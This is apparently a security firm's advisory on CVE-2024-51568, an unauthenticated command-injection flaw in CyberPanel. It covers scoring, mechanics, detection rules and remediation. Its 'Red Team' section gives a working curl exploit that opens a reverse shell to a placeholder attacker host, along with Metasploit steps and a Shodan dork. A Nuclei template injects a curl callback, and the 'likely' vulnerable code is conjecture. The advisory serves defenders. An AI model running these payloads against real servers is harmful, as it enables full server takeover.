CVE-2024-51568

Executive Summary

CVE-2024-51568 is a critical, unauthenticated remote code execution (RCE) vulnerability in CyberPanel (Cyber Panel) versions prior to 2.3.5. The flaw resides in the ProcessUtilities.outputExecutioner() sink, where the completePath parameter is not properly sanitized, allowing an attacker to inject arbitrary shell metacharacters. The vulnerability is trivially exploitable via the /filemanager/upload endpoint, which does not require authentication. Successful exploitation grants an attacker full control over the affected server, leading to complete compromise of confidentiality, integrity, and availability. The vulnerability has a CVSS score of 10.0 (Critical) and is actively being weaponized in the wild.

Supply Chain & Package Security

CyberPanel is a web hosting control panel built on top of OpenLiteSpeed. The vulnerable component is part of the core application code, not a third-party package. The supply chain risk is limited to the CyberPanel software itself. Users should ensure they obtain updates only from the official CyberPanel website or repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - No user action is required.
• Scope: Changed (S:C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) - Full system compromise.
• Integrity Impact: High (I:H) - Full system compromise.
• Availability Impact: High (A:H) - Full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw. The /filemanager/upload endpoint accepts a completePath parameter that is passed to the ProcessUtilities.outputExecutioner() function. This function likely constructs a shell command using the provided path without proper sanitization or escaping. By injecting shell metacharacters (e.g., ;, |, &, $(), backticks) into the completePath parameter, an attacker can execute arbitrary commands on the underlying operating system with the privileges of the web server (typically root or a highly privileged user).

The attack flow is as follows:

1. The attacker sends a POST request to /filemanager/upload.
2. The request includes a multipart form with a completePath field containing shell metacharacters and a malicious command.
3. The server processes the upload, and the completePath value is passed unsanitized to a shell command.
4. The injected command is executed, allowing the attacker to run arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.3.5): The vulnerable code likely exists in a Python file (e.g., ProcessUtilities.py). The outputExecutioner() function might look like this:

def outputExecutioner(completePath):
    import subprocess
    result = subprocess.check_output(completePath, shell=True)
    return result

The shell=True flag and the unsanitized completePath allow command injection.

Patched Code (2.3.5+): The patched version likely sanitizes the input or avoids using shell=True. A secure implementation would be:

def outputExecutioner(completePath):
    import subprocess
    # Use a list of arguments to avoid shell injection
    result = subprocess.check_output(["/bin/ls", "-l", completePath])
    return result

Or, if shell execution is required, the input should be strictly validated and escaped.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running CyberPanel < 2.3.5.
• Network access to the target's web interface (port 80/443).

Exploitation Steps:

1. Identify the target: Use Shodan with the dork http.html:"login to your cyberpanel account" or perform a manual scan.

2. Obtain a CSRF token: The exploit requires a valid CSRF token. Send a GET request to the root path to extract it from the Set-Cookie header.

3. Craft the exploit payload: Use the provided Nuclei template or a custom curl command. The key is to inject shell metacharacters in the completePath parameter.

Example using curl:

# Step 1: Get CSRF token
CSRF=$(curl -s -c /tmp/cookies.txt http://target/ | grep -oP 'csrftoken=\K[a-zA-Z0-9]+')

# Step 2: Execute command (e.g., reverse shell)
curl -X POST http://target/filemanager/upload \
  -b /tmp/cookies.txt \
  -H "X-CSRFToken: $CSRF" \
  -F "domainName=target" \
  -F "completePath=; bash -c 'exec bash -i &>/dev/tcp/attacker_ip/4444 <&1'" \
  -F "file=@/etc/passwd;filename=test.txt"

Metasploit Module: The Rapid7 module exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve can be used for automated exploitation.

msf6 > use exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve
msf6 > set RHOSTS target
msf6 > set LHOST attacker_ip
msf6 > run

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /filemanager/upload with unusual completePath values containing shell metacharacters (;, |, &, $, backticks).
• Look for outbound connections from the web server to unknown IPs on common reverse shell ports (4444, 1337, etc.).
• Check for unexpected processes spawned by the web server user.

Hunting:

• Search web server logs for requests containing patterns like ; curl, ; bash, ; wget, or ; nc.
• Use the Sigma rule provided in the Detection Engineering section to identify exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /filemanager/upload with shell metacharacters in the completePath parameter.
  • Outbound connections from the web server to attacker-controlled IPs on high ports (e.g., 4444, 1337).
  • DNS queries to domains associated with C2 infrastructure.

• File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, payload).
  • Modified system binaries or configuration files.
  • Presence of web shells (e.g., cmd.php, shell.aspx).

• Process IOCs:

  • Processes spawned by the web server user (e.g., www-data) that are not typical (e.g., bash, nc, python).
  • High CPU or memory usage from unexpected processes.

Detection Engineering

YARA Rule

rule CVE_2024_51568_CyberPanel_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-51568 in CyberPanel"
        author = "Valters IT"
        date = "2024-10-28"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51568"
        severity = "critical"
    strings:
        $s1 = "/filemanager/upload" ascii wide nocase
        $s2 = "completePath" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "`" ascii wide
        $s6 = "$(" ascii wide
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CyberPanel CVE-2024-51568 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /filemanager/upload with shell metacharacters in the completePath parameter.
author: Valters IT
date: 2024/10/28
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51568
    - https://cyberpanel.net/blog/cyberpanel-v2-3-5
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/filemanager/upload"
    keywords:
        - "completePath"
        - ";"
        - "|"
        - "`"
        - "$("
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in file paths (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-51568 CyberPanel Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/filemanager/upload"; http_uri; content:"completePath"; http_client_body; pcre:"/(;|\||\`|\$\().*$/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2024-51568

info:
  name: CyberPanel - Command Injection
  author: s4e-io
  severity: critical
  description: |
    CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51568.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve/
    - https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51568
    - https://cyberpanel.net/blog/cyberpanel-v2-3-5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-51568
    cwe-id: CWE-78
    epss-score: 0.93044
    epss-percentile: 0.99789
  metadata:
    verified: true
    max-request: 2
    vendor: cyberpanel
    product: cyberpanel
    shodan-query: http.html:"login to your cyberpanel account"
  tags: cve,cve2024,cyberpanel,rce,intrusive,vkev,vuln

variables:
  boundary: "{{to_lower(rand_base(9))}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /filemanager/upload HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrftoken}}
        Content-Type: multipart/form-data; boundary=----NewBoundary{{boundary}}

        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="domainName"

        {{Hostname}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="completePath"

        ; curl -X POST http://{{interactsh-url}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}.txt"

        pwd
        ------NewBoundary{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "status\":", "error_message\":")'
        condition: and

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        regex:
          - csrftoken=([A-Za-z0-9]+)
        internal: true
# digest: 490a00463044022077dc444c4262195aac3e347642fcfb226523dfe32df798779563059ecbfa9d77022013380470b75c1c5dcde8b242892d8118badde65064ceba61883acb3a7d9eaee8:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade CyberPanel: Update to version 2.3.5 or later immediately. The patch addresses the command injection vulnerability.
2. Restrict Network Access: If immediate patching is not possible, restrict access to the /filemanager/upload endpoint using a web application firewall (WAF) or network ACLs. Only allow trusted IPs.
3. Monitor Logs: Actively monitor web server logs for exploitation attempts.

Long-Term Measures:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied data, especially in file paths.
2. Least Privilege: Run the web server with the minimum necessary privileges. Avoid running as root.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block command injection attempts.
4. Regular Security Audits: Conduct regular code reviews and penetration testing.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 2074AFBC5B2535C7A9B298FA] */}